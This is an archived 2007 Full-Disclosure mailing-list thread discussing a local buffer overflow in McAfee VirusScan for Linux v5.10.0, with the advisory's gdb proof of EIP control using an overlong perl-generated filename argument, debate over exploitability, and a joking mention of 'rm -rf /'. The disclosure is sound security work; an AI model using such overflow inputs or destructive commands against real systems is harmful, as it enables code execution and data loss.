Re: [Full-disclosure] McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

2007-08-16 Thread 3APA3A
Dear Joey Mengele,

Of cause, it's mitigating factor. But:

default  PATH_MAX  under  Linux  is  4096,  and  it's not hard to create
file/folder   with   longer   path,   it's  impossible to access it,

E.g. folder with path longer than PATH_MAX:

bash$ pwd
pwd: could not get current directory: getcwd: cannot access parent directories: 
Result too large
bash$ ls
job-working-directory: could not get current directory: getcwd: cannot access 
parent directories: Result too large

Access   is  not  required  in  this  case.  It's  possible  to  create
_searchable_ files with  the  length  up  to  approximately  MAX_PATH  +
NAME_MAX. It's more than required to exploit (4128).

--Wednesday, August 15, 2007, 9:34:50 PM, you wrote to [EMAIL PROTECTED]:

JM You are playing handpuppet of the jackass, actually. Check PATH_MAX 
JM in the Linux Kernel.

JM J

JM On Wed, 15 Aug 2007 12:53:18 -0400 monikerd [EMAIL PROTECTED] 
JM wrote:
Joey Mengele wrote:
 Where does security come into play here? This is a local crash 
in a 
 non setuid binary. I would like to hear your remote exploitation 

 scenario. Or perhaps your local privilege escalation scenario?

 J

   
I'll play advocate of the devil then. Imagine a wiki running on a 
webserver,

that allows anybody to create new topics which end up in
/articles/[Topic].txt
with sufficient .htaccess stuff in /articles to twart most usual 
attacks ..


If you could create an arbitrary long topic, then you *might*
be able to execute some code, when some cronjob would scan the 
drive
and come across the file?

creating files is a different privilege than  running code. Hence 
imho
it's not a bogus advisory.


another possibility would be to create an archive that extracts an
incredibly
long filename perhaps? scanning an archive before/after it's 
extracted
is a pretty common event i guess.

JM --
JM Click for free information on accounting careers, $150 hour potential.
JM 
http://tagline.hushmail.com/fc/Ioyw6h4dCaNyraR2kkZ8KcMCiTJDWZokEDbswig9iZ5cvsPFFYamWc/

JM ___
JM Full-Disclosure - We believe in it.
JM Charter: http://lists.grok.org.uk/full-disclosure-charter.html
JM Hosted and sponsored by Secunia - http://secunia.com/


-- 
~/ZARAZA http://securityvulns.com/
...без дубинки никогда не принимался он за программирование. (Лем)

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

2007-08-15 Thread Sebastian Wolfgarten
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

I - TITLE

Security advisory: McAfee Virus Scan for Linux and Unix v5.10.0 Local
Buffer Overflow

II - SUMMARY

Description: Local buffer overflow vulnerability in McAfee Virus Scan
for Linux and Unix allows arbitrary code execution

Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com)

Date: August 15th, 2007

Severity: Low-Medium

References: http://www.devtarget.org/mcafee-advisory-08-2007.txt

III - OVERVIEW

McAfee Virus Scan for Linux and Unix is a command-line version of the
popular McAfee anti-virus scanner running on the Linux operating system
as well as on other Unices (e.g. AIX, Solaris, HP-UX etc.). It was
discovered that the product is prone to a classic buffer overflow
vulnerability when attempting to scan files or directories with a
particularly long name. This vulnerability results in the local
execution of arbitrary code with the privileges of the user running the
scanner, privilege escalation is by default not possible. Remote
exploitation appears to be infeasible due to file length limitations in
popular file systems.

IV - DETAILS

The overflow occurs when the product tries to scan a file or directory
with a name that is longer than a certain size (approx. 4124+ bytes).
For example on a Debian Linux 3.1 test system, it takes 4124+4 bytes to
successfully overwrite the EIP register and thus execute arbitrary code:

# /usr/local/uvscan/uvscan --version
Virus Scan for Linux v5.10.0
Copyright (c) 1992-2006 McAfee, Inc. All rights reserved.
(408) 988-3832  EVALUATION COPY - May 26 2006

Scan engine v5.1.00 for Linux.
Virus data file v4777 created Jun 05 2006
Scanning for 194376 viruses, trojans and variants.

# gdb /usr/local/uvscan/uvscan
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type show copying to see the conditions. There is
absolutely no warranty for GDB. Type show warranty for details. This
GDB was configured as i386-linux...(no debugging symbols found)
Using host libthread_db library /lib/tls/libthread_db.so.1.

(gdb) run `perl -e 'print Ax4124 . Bx4'`
Starting program: /usr/local/uvscan/uvscan `perl -e 'print Ax4124 .
Bx4'`
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
[New Thread 1080238208 (LWP 2461)]
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1080238208 (LWP 2461)]
0x42424242 in ?? ()
(gdb) info registers
eax0x1  1
ecx0x8068430134644784
edx0x1  1
ebx0x41414141   1094795585
esp0xbfffdc40   0xbfffdc40
ebp0x41414141   0x41414141
esi0x41414141   1094795585
edi0x41414141   1094795585
eip0x42424242   0x42424242
eflags 0x282642
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0  0
gs 0x33 51

V - EXPLOIT CODE

An exploit for this vulnerability has been developed but will not
released to the general public at this time.

VI - WORKAROUND/FIX

To address this problem, the vendor has released McAfee VirusScan
Command Line Scanner for Linux and Unix version 5.20. Thus all users of
the product are asked to test and install this patch as soon as
possible. McAfee has also published a dedicated security bulletin that
covers the problem (see
https://knowledge.mcafee.com/SupportSite/dynamickc.do?externalId=613576sliceId=SAL_Publiccommand=showforward=nonthreadedKCkcId=613576).


VII - DISCLOSURE TIMELINE

18. December 2006 - Notified [EMAIL PROTECTED]
19. December 2006 - Vendor responded that vulnerability is being
investigated
19. December to 15. August 2007 - Weekly vendor report on the progress
of the development of the patch
01. August 2007 - Release of patch
15. August 2007 - Public disclosure


-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.5 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFGwvgWd8QFWG1Rza8RAjyeAKC6zp+l6CwLw6/eQ80c6CDue4DpUwCdHtS9
pUdSpbqcZz1QkpM/YDc0dN4=
=PUZy
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

2007-08-15 Thread Joey Mengele
Where does security come into play here? This is a local crash in a 
non setuid binary. I would like to hear your remote exploitation 
scenario. Or perhaps your local privilege escalation scenario?

J

P.S. We all know this advisory is bullshit, you should have sold it 
to WabiSabiLabi LOLOLOL

On Wed, 15 Aug 2007 08:56:54 -0400 Sebastian Wolfgarten 
[EMAIL PROTECTED] wrote:
I - TITLE

Security advisory: McAfee Virus Scan for Linux and Unix v5.10.0 
Local
Buffer Overflow

II - SUMMARY

Description: Local buffer overflow vulnerability in McAfee Virus 
Scan
for Linux and Unix allows arbitrary code execution

Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com)

Date: August 15th, 2007

Severity: Low-Medium

References: http://www.devtarget.org/mcafee-advisory-08-2007.txt

III - OVERVIEW

McAfee Virus Scan for Linux and Unix is a command-line version of 
the
popular McAfee anti-virus scanner running on the Linux operating 
system
as well as on other Unices (e.g. AIX, Solaris, HP-UX etc.). It was
discovered that the product is prone to a classic buffer overflow
vulnerability when attempting to scan files or directories with a
particularly long name. This vulnerability results in the local
execution of arbitrary code with the privileges of the user 
running the
scanner, privilege escalation is by default not possible. Remote
exploitation appears to be infeasible due to file length 
limitations in
popular file systems.

IV - DETAILS

The overflow occurs when the product tries to scan a file or 
directory
with a name that is longer than a certain size (approx. 4124+ 
bytes).
For example on a Debian Linux 3.1 test system, it takes 4124+4 
bytes to
successfully overwrite the EIP register and thus execute arbitrary 
code:

# /usr/local/uvscan/uvscan --version
Virus Scan for Linux v5.10.0
Copyright (c) 1992-2006 McAfee, Inc. All rights reserved.
(408) 988-3832  EVALUATION COPY - May 26 2006

Scan engine v5.1.00 for Linux.
Virus data file v4777 created Jun 05 2006
Scanning for 194376 viruses, trojans and variants.

# gdb /usr/local/uvscan/uvscan
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, 
and you
are welcome to change it and/or distribute copies of it under 
certain
conditions. Type show copying to see the conditions. There is
absolutely no warranty for GDB. Type show warranty for details. 
This
GDB was configured as i386-linux...(no debugging symbols found)
Using host libthread_db library /lib/tls/libthread_db.so.1.

(gdb) run `perl -e 'print Ax4124 . Bx4'`
Starting program: /usr/local/uvscan/uvscan `perl -e 'print 
Ax4124 .
Bx4'`
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
[New Thread 1080238208 (LWP 2461)]
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1080238208 (LWP 2461)]
0x42424242 in ?? ()
(gdb) info registers
eax0x1  1
ecx0x8068430134644784
edx0x1  1
ebx0x41414141   1094795585
esp0xbfffdc40   0xbfffdc40
ebp0x41414141   0x41414141
esi0x41414141   1094795585
edi0x41414141   1094795585
eip0x42424242   0x42424242
eflags 0x282642
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0  0
gs 0x33 51

V - EXPLOIT CODE

An exploit for this vulnerability has been developed but will not
released to the general public at this time.

VI - WORKAROUND/FIX

To address this problem, the vendor has released McAfee VirusScan
Command Line Scanner for Linux and Unix version 5.20. Thus all 
users of
the product are asked to test and install this patch as soon as
possible. McAfee has also published a dedicated security bulletin 
that
covers the problem (see
https://knowledge.mcafee.com/SupportSite/dynamickc.do?externalId=61
3576sliceId=SAL_Publiccommand=showforward=nonthreadedKCkcId=613
576).


VII - DISCLOSURE TIMELINE

18. December 2006 - Notified [EMAIL PROTECTED]
19. December 2006 - Vendor responded that vulnerability is being
investigated
19. December to 15. August 2007 - Weekly vendor report on the 
progress
of the development of the patch
01. August 2007 - Release of patch
15. August 2007 - Public disclosure

--
Click to become a master chef, own a restaurant and make millions.
http://tagline.hushmail.com/fc/Ioyw6h4eAFZexjoyRjzeiNugNCYHByYgDcZbE142fg5zU8vki64fmI/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

2007-08-15 Thread Harry Muchow
 V - EXPLOIT CODE

 An exploit for this vulnerability has been developed but will not
 released to the general public at this time.

Don't ever release that to general public. Why would we like to run rm
-rf / in such a funny way? I can type the command in the shell if all
I want to do is attack myself. ;-)

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

2007-08-15 Thread monikerd
Joey Mengele wrote:
 Where does security come into play here? This is a local crash in a 
 non setuid binary. I would like to hear your remote exploitation 
 scenario. Or perhaps your local privilege escalation scenario?

 J

   
I'll play advocate of the devil then. Imagine a wiki running on a webserver,

that allows anybody to create new topics which end up in
/articles/[Topic].txt
with sufficient .htaccess stuff in /articles to twart most usual attacks ..


If you could create an arbitrary long topic, then you *might*
be able to execute some code, when some cronjob would scan the drive
and come across the file?

creating files is a different privilege than  running code. Hence imho
it's not a bogus advisory.


another possibility would be to create an archive that extracts an
incredibly
long filename perhaps? scanning an archive before/after it's extracted
is a pretty common event i guess.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

2007-08-15 Thread Joseph Hick
Imagine this...

One linux system maintained by admin. I do not have
root access but I can create and edit fles. Admin runs
virus scan. I create an exploit file. It exploits
virus scan. I get the privileges of the user running
the virus scan.

--- Harry Muchow [EMAIL PROTECTED] wrote:

  V - EXPLOIT CODE
 
  An exploit for this vulnerability has been
 developed but will not
  released to the general public at this time.
 
 Don't ever release that to general public. Why would
 we like to run rm
 -rf / in such a funny way? I can type the command in
 the shell if all
 I want to do is attack myself. ;-)
 
 ___
 Full-Disclosure - We believe in it.
 Charter:

http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia -
 http://secunia.com/
 



   

Sick sense of humor? Visit Yahoo! TV's 
Comedy with an Edge to see what's on, when. 
http://tv.yahoo.com/collections/222

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

2007-08-15 Thread sebastian
But Joey as I said before, maybe somebody assigned SUID root privileges to
the scanner to enable ordinary users to run the scanner? I know this is
not the case by default but it might happen (and will result in a local
privilege escalation). For instance, in a similar buffer overflow that I
discovered earlier this year in Trend Micro's virus scanner this was the
exact problem...

Best regards,
Sebastian

 You are playing handpuppet of the jackass, actually. Check PATH_MAX
 in the Linux Kernel.

 J

 On Wed, 15 Aug 2007 12:53:18 -0400 monikerd [EMAIL PROTECTED]
 wrote:
Joey Mengele wrote:
 Where does security come into play here? This is a local crash
in a
 non setuid binary. I would like to hear your remote exploitation

 scenario. Or perhaps your local privilege escalation scenario?

 J


I'll play advocate of the devil then. Imagine a wiki running on a
webserver,

that allows anybody to create new topics which end up in
/articles/[Topic].txt
with sufficient .htaccess stuff in /articles to twart most usual
attacks ..


If you could create an arbitrary long topic, then you *might*
be able to execute some code, when some cronjob would scan the
drive
and come across the file?

creating files is a different privilege than  running code. Hence
imho
it's not a bogus advisory.


another possibility would be to create an archive that extracts an
incredibly
long filename perhaps? scanning an archive before/after it's
extracted
is a pretty common event i guess.

 --
 Truck Rentals - Click Here.
 http://tagline.hushmail.com/fc/Ioyw6h4deMfubiVvi7gHv4s7CdhKJ8kEwJlfzSquIJmjLCuoP1m9Dv/




___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

2007-08-15 Thread Joey Mengele
You are playing handpuppet of the jackass, actually. Check PATH_MAX 
in the Linux Kernel.

J

On Wed, 15 Aug 2007 12:53:18 -0400 monikerd [EMAIL PROTECTED] 
wrote:
Joey Mengele wrote:
 Where does security come into play here? This is a local crash 
in a 
 non setuid binary. I would like to hear your remote exploitation 

 scenario. Or perhaps your local privilege escalation scenario?

 J

   
I'll play advocate of the devil then. Imagine a wiki running on a 
webserver,

that allows anybody to create new topics which end up in
/articles/[Topic].txt
with sufficient .htaccess stuff in /articles to twart most usual 
attacks ..


If you could create an arbitrary long topic, then you *might*
be able to execute some code, when some cronjob would scan the 
drive
and come across the file?

creating files is a different privilege than  running code. Hence 
imho
it's not a bogus advisory.


another possibility would be to create an archive that extracts an
incredibly
long filename perhaps? scanning an archive before/after it's 
extracted
is a pretty common event i guess.

--
Click for free information on accounting careers, $150 hour potential.
http://tagline.hushmail.com/fc/Ioyw6h4dCaNyraR2kkZ8KcMCiTJDWZokEDbswig9iZ5cvsPFFYamWc/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Re: [Full-disclosure] McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

2007-08-15 Thread Jimby Sharp

Security comes into play here because a user can create a malicious play that 
would overflow the virus scan. Consequently the user can execute code with the 
privileges of the user running virus scan. Thus, it is a local privilege 
escalation scenario. 


 Date: Wed, 15 Aug 2007 18:53:18 +0200
 From: [EMAIL PROTECTED]
 To: [EMAIL PROTECTED]
 CC: [EMAIL PROTECTED]; full-disclosure@lists.grok.org.uk; [EMAIL PROTECTED]
 Subject: Re: [Full-disclosure] McAfee Virus Scan for Linux and Unix v5.10.0 
 Local Buffer Overflow
 
 Joey Mengele wrote:
  Where does security come into play here? This is a local crash in a 
  non setuid binary. I would like to hear your remote exploitation 
  scenario. Or perhaps your local privilege escalation scenario?
 
  J
 

_
With Windows Live Hotmail, you can personalize your inbox with your favorite 
color.
www.windowslive-hotmail.com/learnmore/personalize.html?locale=en-usocid=TXT_TAGLM_HMWL_reten_addcolor_0607
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/